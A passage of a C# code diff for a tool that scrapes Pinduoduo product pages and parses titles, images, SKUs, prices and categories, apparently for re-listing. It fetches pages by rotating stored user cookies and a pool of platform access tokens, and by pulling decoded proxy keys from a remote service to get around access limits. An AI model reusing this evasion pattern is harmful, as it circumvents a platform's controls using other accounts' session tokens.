catch (Exception ex) + { + } + } + + public void Getx() + { + message = ""; + if (DeleteIds.Contains(Product.FromId) && !isSearchUp) + { + LogSave.Add(Name, "商品已经下架:" + Product.FromId); + message = "商品已经下架:" + Product.FromId; + OnSale = false; + Thread.Sleep(500); + return; + } + string cookies = "", mobile = ""; + if (SetCookiesUserInfo.UserCookies.Count > 0) + { + var list = SetCookiesUserInfo.UserCookies.ToList(); + var cook = list[Randomx.GetId(list.Count)]; + mobile = cook.Key; + foreach (var cookie in cook.Value.Cookies) + cookies += cookie.Name + "=" + cookie.Value + "; "; + } + if (TaobaoMobileCollect.ProductTemp.ContainsKey(Product.FromId)) + { + pb = TaobaoMobileCollect.ProductTemp[Product.FromId].Clone(); + return; + } + //if (TempIds.Contains(Product.FromId) && string.IsNullOrEmpty(TempHtml) && MainCatId == 0) + // Thread.Sleep(5 * 1000); + if (!TempIds.Contains(Product.FromId)) + TempIds.Add(Product.FromId); + if (TaobaoMobileCollect.ProductTemp.ContainsKey(Product.FromId)) + { + pb = TaobaoMobileCollect.ProductTemp[Product.FromId].Clone(); + return; + } + bool canUse = false; + bool userData = false; + string serverTempHtml = ""; + if (UploadPinduoduoMain.isUsePddCache) + { + serverTempHtml = ServerTemp.Get(2, Product.FromId.ToString(), out canUse); + if (canUse) + { + userData = true; + TempHtml = serverTempHtml; + } + } + string url = BaseClass.NewUrl + "/goods.html?goods_id=" + Product.FromId; + string refere = BaseClass.NewUrl + "/"; + string html = ""; + string api_uid = string.Empty; + if (string.IsNullOrEmpty(TempHtml) || (!TempHtml.Contains("catID1") && !TempHtml.Contains("catId1") && !TempHtml.Contains("cat_id_1"))) + { + Thread.Sleep(2000); + if (UploadPinduoduoMain.Running || UploadPinduoduoMain.RunningReplace) + { + int it = UploadPinduoduoMain.ShopThreadCount * UploadPinduoduoMain.SingleThreadCount; + Thread.Sleep(it * 200); + } + if ((string.IsNullOrEmpty(html) || (!html.Contains("catID1") && !html.Contains("catId1") && !TempHtml.Contains("cat_id_1")))) + { + if (!string.IsNullOrEmpty(GetProxyHtml.orderId)) + html = GetProxyHtml.RequestUrl_yangkeduo_com(Product.FromId, GetProxyHtml.UserAgentList.ToArray(), out IsOverdue); + if (IsOverdue || string.IsNullOrEmpty(GetProxyHtml.orderId)) + { + string purl = BaseClass.LoginApiUrl + "index.php?obj=api/shared_pool&act=get_agent_ip"; + string phtml = GetHtml.PostUtf8(purl, UserLogin.GetSignaturex()); + string sAgentIpKey = BaseRegex.GetStringJson(ref phtml, "the_key"); + GetProxyHtml.orderId = GetProxyHtml.DESDecode(sAgentIpKey, GlobalConfig.cAgentIpCode); + html = GetProxyHtml.RequestUrl_yangkeduo_com(Product.FromId, GetProxyHtml.UserAgentList.ToArray(), out IsOverdue); + } + if (!string.IsNullOrEmpty(html) && (html.Contains("catID1") || html.Contains("catId1") || html.Contains("cat_id_1"))) + { + IdFessionTaobao.ConcurrentQueueHtmlSaveServer.Enqueue(new SaveServerParm() { SaveType = 2, ProuctId = Product.FromId.ToString(), SaveHtml = html }); + } + } + if ((string.IsNullOrEmpty(html) || (!html.Contains("catID1") && !html.Contains("catId1") && !TempHtml.Contains("cat_id_1"))) && IsUseProxy && GetProxyHtml.txtUrl.Contains("66")) + { + IsOverdue = false; + html = GetProxyHtml.RequestUrl_yangkeduo_com(Product.FromId, GetProxyHtml.UserAgentList.ToArray(), out IsOverdue); + if (IsOverdue) + { + LogSave.Add(Name, "代理IP过期,请重新填写"); + message = "代理IP过期,请重新填写"; + return; + } + if (!string.IsNullOrEmpty(html) && (html.Contains("catID1") || html.Contains("catId1") || html.Contains("cat_id_1"))) + { + IdFessionTaobao.ConcurrentQueueHtmlSaveServer.Enqueue(new SaveServerParm() { SaveType = 2, ProuctId = Product.FromId.ToString(), SaveHtml = html }); + } + } + int retryTimes = 0; + while ((string.IsNullOrEmpty(html) || (!html.Contains("catID1") && !html.Contains("catId1") && !html.Contains("cat_id_1"))) && !DeleteAndDown(html) && PinDuoDuoTokenList != null && PinDuoDuoTokenList.Count > 0) + { + retryTimes++; + var lst = PinDuoDuoTokenList.Where(t => t.ProductDetailStatus == 1).ToList(); + if (lst.Count == 0 || retryTimes > 10) + { + IsNoToken = false; + LogSave.Add(Name, "可用token不足,请输入token或勾选并设置代理IP" + Product.FromId); + message = "可用token不足,请输入token或勾选并设置代理IP:" + Product.FromId; + return; + } + var token = lst[Randomx.GetId(lst.Count)]; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, "PDDAccessToken=" + token.PDDAccessToken); + + if ((string.IsNullOrEmpty(html) || !html.Contains("catID1") && !html.Contains("catId1") && !html.Contains("cat_id_1")) && !DeleteAndDown(html)) + token.ProductDetailStatus = 0; + } + TempHtml = html; + } + else + { + html = TempHtml; + } + + if (string.IsNullOrEmpty(html)) + { + LogSave.Add(Name, "获取商品" + Product.FromId + "信息为空,请检测商品是否存在"); + message = "获取商品信息为空,请检测商品是否存在"; + } + if (html.Contains("商品已售罄,推荐以下相似商品") && !html.Contains("原商品已售罄,为你推荐相似商品")) + { + LogSave.Add(Name, "商品" + Product.FromId + "商品已售罄"); + OnSale = false; + message = "商品已售罄"; + return; + } + //if (html.Contains("原商品已售罄,为你推荐相似商品")) + //{ + // LogSave.Add(Name, "商品" + Product.FromId + "商品已售罄"); + // OnSale = false; + // message = "商品已售罄"; + // return; + //} + if (html.Contains("商品不存在")) + { + LogSave.Add(Name, "商品" + Product.FromId + "不存在"); + OnSale = false; + message = "商品不存在"; + return; + } + //如果缓存的是大麦助手数据则先进行扣取 + if (html.Contains("\"cache_time\"")) + { + html = BaseRegex.GetMatchRegexString(ref html, "\"data\":([\\w\\W]+?),\"msg\":\"成功\"\\}"); + IdFessionTaobao.ConcurrentQueueHtmlSaveServer.Enqueue(new SaveServerParm() { SaveType = 2, ProuctId = Product.FromId.ToString(), SaveHtml = html }); + } + if (!string.IsNullOrEmpty(html) && canUse) + { + int index = html.IndexOf(",") + 1; + html = html.Substring(index); + } + #region 最新数据解析 + html = html.Replace(" ", ""); + if (html.Contains("catId1")) + { + if (!html.Contains(@"""isOnsale"":1") || DeleteAndDown(html)) + { + if (!userData) + { + ServerTemp.Set(2, Product.FromId.ToString(), html); + BigDataBuild.Delete(Product.FromId, 2); + } + //LogSave.Add(Name, "商品获取成功:" + Product.FromId + "商品已下架"); + message = "商品获取成功:" + Product.FromId + "商品已下架"; + OnSale = false; + if (!DeleteIds.Contains(Product.FromId)) + DeleteIds.Add(Product.FromId); + return; + } + html = GetHtml.Decode(html); + pb.from = "拼多多"; + pb.id = Product.FromId; + pb.from_id = Product.FromId; + LogSave.Add(Name, "获取成功:" + Product.FromId); + pb.name = BaseRegex.GetStringJson(ref html, "goodsName"); + pb.name_share = BaseRegex.GetStringJson(ref html, "share_desc"); + pb.from_shop_name = BaseRegex.GetStringJson(ref html, "mallName"); + pb.content_pinduoduo = BaseRegex.GetStringJson(ref html, "goodsDesc"); + string temp = BaseRegex.GetMatchRegexString(ref html, @"""gallery"":\[(.*?)\]"); + var m = BaseRegex.GetMatchRegex(ref temp, @"""url"":""([^""]+?)"",""width"":([\d]+),""height"":([\d]+),""priority"":([\d]+),""type"":([\d]+)"); + string content = ""; + Dictionary mainImage = new Dictionary(); + Dictionary contentImage = new Dictionary(); + for (int i = 0; i < m.Count; i++) + { + string item = m[i].Groups[0].Value; + int type = int.Parse(m[i].Groups[5].Value); + if (type == 6) + continue; + if (type == 1) + { + string img = m[i].Groups[1].Value; + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + //pb.Images.Add(img); + int index = BaseRegex.GetIntJson(ref item, "priority"); + mainImage.Add(index, img); + } + else + { + string img = m[i].Groups[1].Value; + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + int width = int.Parse(m[i].Groups[2].Value); + int height = int.Parse(m[i].Groups[3].Value); + //content += ""; + int index = BaseRegex.GetIntJson(ref item, "priority"); + contentImage.Add(index, img); + } + } + var mainlst = mainImage.OrderBy(p => p.Key).ToList(); + for (int i = 0; i < mainlst.Count; i++) + { + pb.Images.Add(mainlst[i].Value); + } + var contentlst = contentImage.OrderBy(p => p.Key).ToList(); + for (int i = 0; i < contentlst.Count; i++) + { + content += ""; + } + m = BaseRegex.GetMatchRegex(ref html, @"\{""skuId"".*?\}\].*?\}"); + for (int i = 0; i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + SkuMapBase s = new SkuMapBase(); + s.id = BaseRegex.GetLongJson(ref list, "skuId"); + s.price = BaseRegex.GetDecimalJson(ref list, "groupPrice") / 100; + if (s.price < 1) + continue; + int num = BaseRegex.GetIntJson(ref list, "quantity"); + s.number = BaseRegex.GetIntJson(ref list, "isOnsale") == 1 ? 99 : 0; + if (num < 3) + num = 0; + if (s.number > num) + s.number = num; + s.sale_count = BaseRegex.GetIntJson(ref list, "soldQuantity"); + pb.saleCount += s.sale_count; + s.prop_image = BaseRegex.GetStringJson(ref list, "thumbUrl"); + if (!string.IsNullOrEmpty(s.prop_image)) + s.prop_image = s.prop_image.Replace("@750w_1l_50Q", ""); + if (s.prop_image.Contains("?")) + s.prop_image = s.prop_image.Substring(0, s.prop_image.IndexOf("?")); + UpPinduoduoProductSet.AddImage(s.prop_image, s.prop_image, 0, 0); + s.name = GetNameNew(list, ref pb, s.prop_image); + pb.SkuMaps.Add(s); + } + + decimal maxPriceNew = 0; + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + if (maxPriceNew < pb.SkuMaps[i].price) + maxPriceNew = pb.SkuMaps[i].price; + } + string firstSkuImage = pb.SkuMaps[0].prop_image; + if (pb.Props.Count == 1) + { + for (int j = 0; j < pb.Props[0].Values.Count; j++) + { + bool ishad = false; + for (int k = 0; k < pb.SkuMaps.Count; k++) + { + if (pb.SkuMaps[k].name.Contains(pb.Props[0].Values[j].name)) + { + ishad = true; + break; + } + } + if (!ishad) + { + SkuMapBase sm = new SkuMapBase(); + sm.id = BaseClass.GetTime(DateTime.Today); + sm.price = maxPriceNew; + sm.number = 0; + sm.sale_count = 0; + pb.saleCount += sm.sale_count; + sm.prop_image = firstSkuImage; + sm.name = pb.Props[0].name + ":" + pb.Props[0].Values[j].name + ";"; + pb.SkuMaps.Add(sm); + } + + } + } + + if (pb.Props.Count == 2) + { + + for (int j = 0; j < pb.Props[0].Values.Count; j++) + { + for (int k = 0; k < pb.Props[1].Values.Count; k++) + { + bool ishad = false; + for (int l = 0; l < pb.SkuMaps.Count; l++) + { + + string[] li = pb.SkuMaps[l].name.Split(';'); + if (li.Length == 2) + { + string n1 = li[0].Substring(li[0].IndexOf(":") + 1); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1); + if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1) + { + ishad = true; + break; + } + + } + if (li.Length == 3) + { + string n1 = li[0].Substring(li[0].IndexOf(":") + 1); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1); + string n3 = li[2].Substring(li[2].IndexOf(":") + 1); + if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n2) + { + ishad = true; + break; + } + } + + if (li.Length == 4) + { + string n1 = li[0].Substring(li[0].IndexOf(":") + 1); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1); + string n3 = li[2].Substring(li[2].IndexOf(":") + 1); + string n4 = li[3].Substring(li[3].IndexOf(":") + 1); + if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n2) + { + ishad = true; + break; + } + if (pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n3 + || pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n2) + { + ishad = true; + break; + } + } + + } + if (!ishad) + { + SkuMapBase sm = new SkuMapBase(); + sm.id = BaseClass.GetTime(DateTime.Today); + sm.price = maxPriceNew; + sm.number = 0; + sm.sale_count = 0; + pb.saleCount += sm.sale_count; + sm.prop_image = firstSkuImage; + sm.name = pb.Props[0].name + ":" + pb.Props[0].Values[j].name + ";" + pb.Props[1].name + ":" + pb.Props[1].Values[k].name + ";"; + pb.SkuMaps.Add(sm); + } + } + } + } + + pb.cat1 = BaseRegex.GetIntJson(ref html, "catId1"); + pb.cat2 = BaseRegex.GetIntJson(ref html, "catId2"); + pb.cat3 = BaseRegex.GetIntJson(ref html, "catId3"); + pb.cat4 = BaseRegex.GetIntJson(ref html, "catId4"); + pb.cat_id = BaseRegex.GetIntJson(ref html, "catId"); + + if (pb.cat_id != pb.cat3) + pb.cat4 = pb.cat_id; + int cid = PinduoduoCatList.GetNewCat3(pb.cat_id); + if (PinduoduoCatList.CatIds.ContainsKey(cid)) + { + var ci = PinduoduoCatList.CatIds[cid]; + pb.cat_id = ci.id; + pb.cat1 = ci.cat1; + pb.cat2 = ci.cat2; + pb.cat3 = ci.cat3; + pb.cat4 = ci.cat4; + pb.main_cid = ci.main_cat_id; + } + + pb.before_price = BaseRegex.GetIntJson(ref html, "linePrice") / 100m; + pb.content = content; + var ft = new FromTitleToCat(); + pb.main_cid = ft.GetMainCatId(pb.cat1); + pb.main_cat_name = ft.MainCatName; + Product.Cat1 = pb.cat1; + Product.Cat2 = pb.cat2; + Product.Cat3 = pb.cat3; + Product.Cat4 = pb.cat4; + Product.CatId = pb.cat_id; + Product.MainCatId = pb.main_cid; + Product.MainCatName = pb.main_cat_name; + string sepc = BaseRegex.GetMatchRegexString(ref html, @"(""property"":\[\{([\w\W]+?)\}\])"); + m = BaseRegex.GetMatchRegex(ref sepc, @"\{""key"":""([^""]+?)"",""values"":\[([\w\W]+?)\][\w\W]+?\}"); + for (int i = 0; m != null && i < m.Count; i++) + { + string name = m[i].Groups[1].Value; + string val = m[i].Groups[2].Value; + var list = BaseRegex.GetMatchRegex(ref val, @"""([^""]+?)"""); + string v = ""; + for (int j = 0; list != null && j < list.Count; j++) + v += "、" + list[j].Groups[1].Value; + if (!string.IsNullOrEmpty(v)) + v = v.Substring(1); + if (!string.IsNullOrEmpty(name) && !string.IsNullOrEmpty(v)) + pb.Prop.Add(new KeyValueBase(name, v)); + } + pb.mall_id = BaseRegex.GetLongJson(ref html, "mallId"); + pb.from_site_id = 2; + pb.price = Product.Price; + if (pb.price == 0 && pb.SkuMaps.Count > 0) + pb.price = pb.SkuMaps[0].price; + string sale = BaseRegex.GetStringJson(ref html, "soldQuantity"); + if (string.IsNullOrEmpty(sale)) + { + sale = BaseRegex.GetStringJson(ref html, "salesTip"); + sale = BaseRegex.GetMatchRegexString(ref sale, @"([\d\.万]+)"); + } + if (!string.IsNullOrEmpty(sale)) + { + sale = sale.Replace(".", "").Replace("万", "000"); + int sa = 0; + int.TryParse(sale, out sa); + pb.saleCount = sa; + } + Product.SaleCount = pb.saleCount; + if (!userData) + IdFessionTaobao.ConcurrentQueueHtmlSaveServer.Enqueue(new SaveServerParm() { SaveType = 2, ProuctId = Product.FromId.ToString(), SaveHtml = html }); + //ServerTemp.Set(2, Product.FromId.ToString(), html); + } + + #endregion + + #region 拼多多平台数据解析 + if (html.Contains("catID1")) + { + if (!(html.Contains(@"""isOnSale"":true") || html.Contains(@"""isOnsale"":1")) || DeleteAndDown(html)) + { + if (!userData) + { + ServerTemp.Set(2, Product.FromId.ToString(), html); + BigDataBuild.Delete(Product.FromId, 2); + } + //LogSave.Add(Name, "商品获取成功:" + Product.FromId + "商品已下架"); + message = "商品获取成功:" + Product.FromId + "商品已下架"; + OnSale = false; + if (!DeleteIds.Contains(Product.FromId)) + DeleteIds.Add(Product.FromId); + return; + } + html = GetHtml.Decode(html); + pb.from = "拼多多"; + pb.id = Product.FromId; + pb.from_id = Product.FromId; + LogSave.Add(Name, "获取成功:" + Product.FromId); + pb.name = BaseRegex.GetStringJson(ref html, "goodsName"); + pb.name_share = BaseRegex.GetStringJson(ref html, "shareDesc"); + pb.from_shop_name = BaseRegex.GetStringJson(ref html, "mallName"); + pb.content_pinduoduo = BaseRegex.GetStringJson(ref html, "goodsDesc"); + string temp = BaseRegex.GetMatchRegexString(ref html, @"""topGallery"":\[(.*?)\]"); + var m = BaseRegex.GetMatchRegex(ref temp, @"{([^}]+?)}"); + if (m == null || m.Count == 0) + m = BaseRegex.GetMatchRegex(ref temp, @"""([^""]+?)"""); + for (int i = 0; i < m.Count; i++) + { + string img = m[i].Groups[1].Value.Replace("@750w_1l_50Q", ""); + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + if (img.Contains("url")) + { + if (img.Contains("\":\"") && img.EndsWith("jpeg")) + img += "\""; + img = BaseRegex.GetStringJson(ref img, "url"); + } + if (!(img.Contains("jpeg") || img.Contains("jpg") || img.Contains("png"))) + continue; + pb.Images.Add(img); + } + //pb.videoUrl = BaseRegex.GetStringJson(ref html, "videoUrl"); + temp = BaseRegex.GetMatchRegexString(ref html, @"""detailGallery"":\[(.*?)\]"); + m = BaseRegex.GetMatchRegex(ref temp, @"""url"":""([^""]+?)"",""width"":([\d]+),""height"":([\d]+)"); + string content = ""; + for (int i = 0; i < m.Count; i++) + { + string img = m[i].Groups[1].Value.Replace("@750w_1l_50Q", ""); + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + int width = int.Parse(m[i].Groups[2].Value); + int height = int.Parse(m[i].Groups[2].Value); + content += ""; + } + m = BaseRegex.GetMatchRegex(ref html, @"\{""skuID"".*?\}\].*?\}"); + for (int i = 0; i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + SkuMapBase s = new SkuMapBase(); + s.id = BaseRegex.GetLongJson(ref list, "skuID"); + s.price = BaseRegex.GetDecimalJson(ref list, "groupPrice"); + //if (s.price < 1) + // continue; + int num = BaseRegex.GetIntJson(ref list, "quantity"); + s.number = BaseRegex.GetIntJson(ref list, "isOnSale") == 1 ? 99 : 0; + //if (num < 3) + // num = 0; + if (s.number > num) + s.number = num; + s.sale_count = BaseRegex.GetIntJson(ref list, "soldQuantity"); + pb.saleCount += s.sale_count; + s.prop_image = BaseRegex.GetStringJson(ref list, "thumbUrl"); + if (string.IsNullOrEmpty(s.prop_image))//跳过劵后价 + continue; + if (!string.IsNullOrEmpty(s.prop_image)) + s.prop_image = s.prop_image.Replace("@750w_1l_50Q", ""); + if (s.prop_image.Contains("?")) + s.prop_image = s.prop_image.Substring(0, s.prop_image.IndexOf("?")); + s.name = GetName(list, ref pb, s.prop_image); + pb.SkuMaps.Add(s); + } + + decimal maxPriceNew = 0; + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + if (maxPriceNew < pb.SkuMaps[i].price) + maxPriceNew = pb.SkuMaps[i].price; + } + string firstSkuImage = pb.SkuMaps[0].prop_image; + if (pb.Props.Count == 1) + { + for (int j = 0; j < pb.Props[0].Values.Count; j++) + { + bool ishad = false; + for (int k = 0; k < pb.SkuMaps.Count; k++) + { + if (pb.SkuMaps[k].name.Contains(pb.Props[0].Values[j].name)) + { + ishad = true; + break; + } + } + if (!ishad) + { + SkuMapBase sm = new SkuMapBase(); + sm.id = BaseClass.GetTime(DateTime.Today); + sm.price = maxPriceNew; + sm.number = 0; + sm.sale_count = 0; + pb.saleCount += sm.sale_count; + sm.prop_image = firstSkuImage; + sm.name = pb.Props[0].name + ":" + pb.Props[0].Values[j].name + ";"; + pb.SkuMaps.Add(sm); + } + + } + } + + if (pb.Props.Count == 2) + { + + for (int j = 0; j < pb.Props[0].Values.Count; j++) + { + for (int k = 0; k < pb.Props[1].Values.Count; k++) + { + bool ishad = false; + for (int l = 0; l < pb.SkuMaps.Count; l++) + { + + string[] li = pb.SkuMaps[l].name.Split(';'); + if (li.Length == 2) + { + string n1 = li[0].Substring(li[0].IndexOf(":") + 1); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1); + if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1) + { + ishad = true; + break; + } + + } + if (li.Length == 3) + { + string n1 = li[0].Substring(li[0].IndexOf(":") + 1); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1); + string n3 = li[2].Substring(li[2].IndexOf(":") + 1); + if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n2) + { + ishad = true; + break; + } + } + + if (li.Length == 4) + { + string n1 = li[0].Substring(li[0].IndexOf(":") + 1); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1); + string n3 = li[2].Substring(li[2].IndexOf(":") + 1); + string n4 = li[3].Substring(li[3].IndexOf(":") + 1); + if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n2) + { + ishad = true; + break; + } + if (pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n3 + || pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n2) + { + ishad = true; + break; + } + } + + } + if (!ishad) + { + SkuMapBase sm = new SkuMapBase(); + sm.id = BaseClass.GetTime(DateTime.Today); + sm.price = maxPriceNew; + sm.number = 0; + sm.sale_count = 0; + pb.saleCount += sm.sale_count; + sm.prop_image = firstSkuImage; + sm.name = pb.Props[0].name + ":" + pb.Props[0].Values[j].name + ";" + pb.Props[1].name + ":" + pb.Props[1].Values[k].name + ";"; + pb.SkuMaps.Add(sm); + } + } + } + } + + pb.cat1 = BaseRegex.GetIntJson(ref html, "catID1"); + pb.cat2 = BaseRegex.GetIntJson(ref html, "catID2"); + pb.cat3 = BaseRegex.GetIntJson(ref html, "catID3"); + pb.cat_id = BaseRegex.GetIntJson(ref html, "catID"); + if (pb.cat_id != pb.cat3) + pb.cat4 = pb.cat_id; + int cid = PinduoduoCatList.GetNewCat3(pb.cat_id); + if (PinduoduoCatList.CatIds.ContainsKey(cid)) + { + var ci = PinduoduoCatList.CatIds[cid]; + pb.cat_id = ci.id; + pb.cat1 = ci.cat1; + pb.cat2 = ci.cat2; + pb.cat3 = ci.cat3; + pb.cat4 = ci.cat4; + pb.main_cid = ci.main_cat_id; + } + + pb.before_price = BaseRegex.GetIntJson(ref html, "marketPrice") / 100m; + pb.content = content; + var ft = new FromTitleToCat(); + pb.main_cid = ft.GetMainCatId(pb.cat1); + pb.main_cat_name = ft.MainCatName; + Product.Cat1 = pb.cat1; + Product.Cat2 = pb.cat2; + Product.Cat3 = pb.cat3; + Product.Cat4 = pb.cat4; + Product.CatId = pb.cat_id; + Product.MainCatId = pb.main_cid; + Product.MainCatName = pb.main_cat_name; + string sepc = BaseRegex.GetMatchRegexString(ref html, @"(""goodsProperty"":\[\{([\w\W]+?)\}\])"); + m = BaseRegex.GetMatchRegex(ref sepc, @"\{""key"":""([^""]+?)"",""values"":\[([\w\W]+?)\][\w\W]+?\}"); + for (int i = 0; m != null && i < m.Count; i++) + { + string name = m[i].Groups[1].Value; + string val = m[i].Groups[2].Value; + var list = BaseRegex.GetMatchRegex(ref val, @"""([^""]+?)"""); + string v = ""; + for (int j = 0; list != null && j < list.Count; j++) + v += "、" + list[j].Groups[1].Value; + if (!string.IsNullOrEmpty(v)) + v = v.Substring(1); + if (!string.IsNullOrEmpty(name) && !string.IsNullOrEmpty(v)) + pb.Prop.Add(new KeyValueBase(name, v)); + } + pb.mall_id = BaseRegex.GetLongJson(ref html, "mallID"); + pb.from_site_id = 2; + pb.price = Product.Price; + decimal minPrcie = 0M; + if (pb.price == 0 && pb.SkuMaps.Count > 0) + { + minPrcie = pb.SkuMaps[0].price; + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + if (minPrcie > pb.SkuMaps[i].price) + { + minPrcie = pb.SkuMaps[i].price; + } + } + pb.price = minPrcie; + } + string sale = BaseRegex.GetStringJson(ref html, "sideSalesTip"); + sale = BaseRegex.GetMatchRegexString(ref sale, @"([\d\.万]+)"); + if (!string.IsNullOrEmpty(sale)) + { + sale = sale.Replace(".", "").Replace("万", "0000"); + int sa = 0; + int.TryParse(sale, out sa); + pb.saleCount = sa; + } + //pb.saleCount = BaseRegex.GetIntJson(ref html, "sales"); + Product.SaleCount = pb.saleCount; + if (!userData) + IdFessionTaobao.ConcurrentQueueHtmlSaveServer.Enqueue(new SaveServerParm() { SaveType = 2, ProuctId = Product.FromId.ToString(), SaveHtml = html }); + //ServerTemp.Set(2, Product.FromId.ToString(), html); + if (pb.saleCount > 0) + { + //TempHtml = html; + //url = BaseClass.BigDataApiUrl + "?obj=product/product"; + // string json = JsonHelper.SerializeObject(pb); + //string data = "&act=update&site_id=2&shop_name=" + GetHtml.UrlEncodeUtf8(pb.from_shop_name) + "&json=" + GetHtml.UrlEncodeUtf8(json); + //if (!userData) + //{ + // html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data); + // url = BaseClass.BigDataApiUrl + "?obj=product/image_PinBaoBao&act=add_pinduoduo_content"; + // content = BaseRegex.GetMatchRegexString(ref TempHtml, @"window\.rawData([\w\W]+?)"); + // data = UserLogin.GetSignaturex() + "&id=" + pb.from_id + "&table=" + table + "&content=" + + // GetHtml.UrlEncodeUtf8(content); + // html = GetHtml.PostUtf8(url, data); + //} + } + + } + #endregion + + #region 66最新解析 20220207 + if (html.Contains("cat_id_1") && pb.SkuMaps.Count == 0) + { + try + { + html = html.Replace("\r\n", "").Replace(" ", ""); + if (html.Contains("}}}}pddRouteName")) + { + html = html.Split(new string[] { "}}}}pddRouteName" }, StringSplitOptions.RemoveEmptyEntries)[0] + "}}}}"; + } + JObject ja = JObject.Parse(html); + if (!html.Contains(@"""is_onsale"":1") || DeleteAndDown(html)) + { + if (!userData) + { + ServerTemp.Set(2, Product.FromId.ToString(), html); + BigDataBuild.Delete(Product.FromId, 2); + } + message = "商品获取成功:" + Product.FromId + "商品已下架"; + if (IsAdvance) + { + message = "预售商品" + Product.FromId + ",跳过"; + } + OnSale = false; + if (!DeleteIds.Contains(Product.FromId)) + DeleteIds.Add(Product.FromId); + return; + } + if (ja["data"]["goods"] != null) + { + string goodStr = ja["data"]["goods"].ToString(); + pb.from = "拼多多"; + pb.id = BaseRegex.GetLongJson(ref goodStr, "goods_id"); + pb.from_id = BaseRegex.GetLongJson(ref goodStr, "goods_id"); + pb.name = BaseRegex.GetStringJson(ref goodStr, "goods_name"); + pb.from_shop_name = BaseRegex.GetStringJson(ref html, "mall_name"); + pb.content_pinduoduo = BaseRegex.GetStringJson(ref html, "goods_desc"); + string main_gallery = ja["data"]["goods"]["main_gallery"].ToString(); + main_gallery = main_gallery.Replace("\r\n", "").Replace(" ", ""); + var m = BaseRegex.GetMatchRegex(ref main_gallery, @"{""url""[^}]+?"","); + string content = ""; + for (int i = 0; i < m.Count; i++) + { + var item = m[i].Groups[0].Value; + string img = BaseRegex.GetStringJson(ref item, "url"); + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + pb.Images.Add(img); + } + string detail_gallery = ja["data"]["goods"]["detail_gallery"].ToString(); + detail_gallery = detail_gallery.Replace("\r\n", "").Replace(" ", ""); + m = BaseRegex.GetMatchRegex(ref detail_gallery, @"{""url""[^}]+?"","); + for (int i = 0; i < m.Count; i++) + { + var item = m[i].Groups[0].Value; + string img = BaseRegex.GetStringJson(ref item, "url"); + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + content += ""; + } + + string specmaps = ja["data"]["specs"].ToString(); + var vProps = JArray.Parse(specmaps)?.ToObject>(); + for (int i = 0; i < vProps.Count; i++) + { + var specStr = vProps[i].ToString(); + specStr = specStr.Replace("\r\n", "").Replace(" ", ""); + var spec_key = BaseRegex.GetStringJson(ref specStr, "spec_key"); + var spec_key_id = BaseRegex.GetStringJson(ref specStr, "spec_key_id"); + PropBase p = new PropBase(); + p.name = 